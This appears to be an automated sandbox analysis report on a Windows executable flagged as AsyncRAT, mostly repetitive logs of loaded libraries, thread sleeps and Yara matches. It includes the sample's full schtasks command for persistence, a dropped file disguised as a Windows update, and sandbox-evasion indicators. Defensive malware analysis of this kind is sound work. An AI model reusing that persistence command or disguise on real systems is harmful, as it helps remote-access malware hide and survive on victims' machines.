Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior

Source: C:\Users\user\Desktop\EGSh5caf8a.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

PE / OLE file has a valid certificate

Source: EGSh5caf8a.exe

Static PE information: certificate valid

PE file contains a COM descriptor data directory

Source: EGSh5caf8a.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: EGSh5caf8a.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

PE file contains a debug data directory

Source: EGSh5caf8a.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation

.NET source code contains potential unpacker

Source: EGSh5caf8a.exe, 0.cs	.Net Code: SQL_PROCESS System.Reflection.Assembly.Load(byte[])
Source: Accounts_Ledger_Software.eXE.0.dr, 0.cs	.Net Code: SQL_PROCESS System.Reflection.Assembly.Load(byte[])
Source: 0.2.EGSh5caf8a.exe.38f6b90.1.raw.unpack, 0.cs	.Net Code: SQL_PROCESS System.Reflection.Assembly.Load(byte[])

Binary contains a suspicious time stamp

Source: EGSh5caf8a.exe

Static PE information: 0xBC79720B [Sat Mar 15 02:20:59 2070 UTC]

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\EGSh5caf8a.exe

Code function: 0_2_02794F54 pushad ; retf

0_2_02794F55

Persistence and Installation Behavior

Drops PE files

Source: C:\Users\user\Desktop\EGSh5caf8a.exe

File created: C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE

Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 0.2.EGSh5caf8a.exe.28dc200.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EGSh5caf8a.exe.28dc200.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EGSh5caf8a.exe PID: 180, type: MEMORYSTR

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\EGSh5caf8a.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "SCHtAsKs.EXe" /create /tn WindowsUpdates797722446 /tr "C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE" /st 11:38 /du 9999:59 /sc daily /ri 1 /f /RL HIGHEST

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 20991
Source: unknown	Network traffic detected: HTTP traffic on port 20991 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 20991
Source: unknown	Network traffic detected: HTTP traffic on port 20991 -> 49709

Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: EGSh5caf8a.exe PID: 180, type: MEMORYSTR

Yara detected AsyncRAT

Source: Yara match	File source: 0.2.EGSh5caf8a.exe.28dc200.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EGSh5caf8a.exe.28dc200.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EGSh5caf8a.exe PID: 180, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: EGSh5caf8a.exe, 00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, EGSh5caf8a.exe, 00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Memory allocated: E00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Memory allocated: 2890000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Memory allocated: E00000 memory reserve \| memory write watch	Jump to behavior

Contains long sleeps (>= 3 min)

Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 597345	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Window / User API: threadDelayed 2647			Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Window / User API: threadDelayed 3812			Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 6664	Thread sleep time: -1100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -200000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -99844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7220	Thread sleep count: 2647 > 30	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -99729s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -99609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -99500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -99386s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7260	Thread sleep count: 3812 > 30	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -99278s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -99890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -99780s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -99672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -99562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -99453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -99344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -99234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -99122s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -99015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -98906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -98797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -98688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -98574s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -98469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -98359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -98250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -98141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -98030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -97922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -97813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -97703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -97594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -97484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7196	Thread sleep time: -597345s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 7244	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe TID: 4044	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 99844	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 99729	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 99609	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 99500	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 99386	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 99278	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 99780	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 99672	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 99562	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 99344	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 99234	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 99122	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 99015	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 98906	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 98797	Jump to behavior
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Thread delayed: delay time: 98688	Jump to behavior
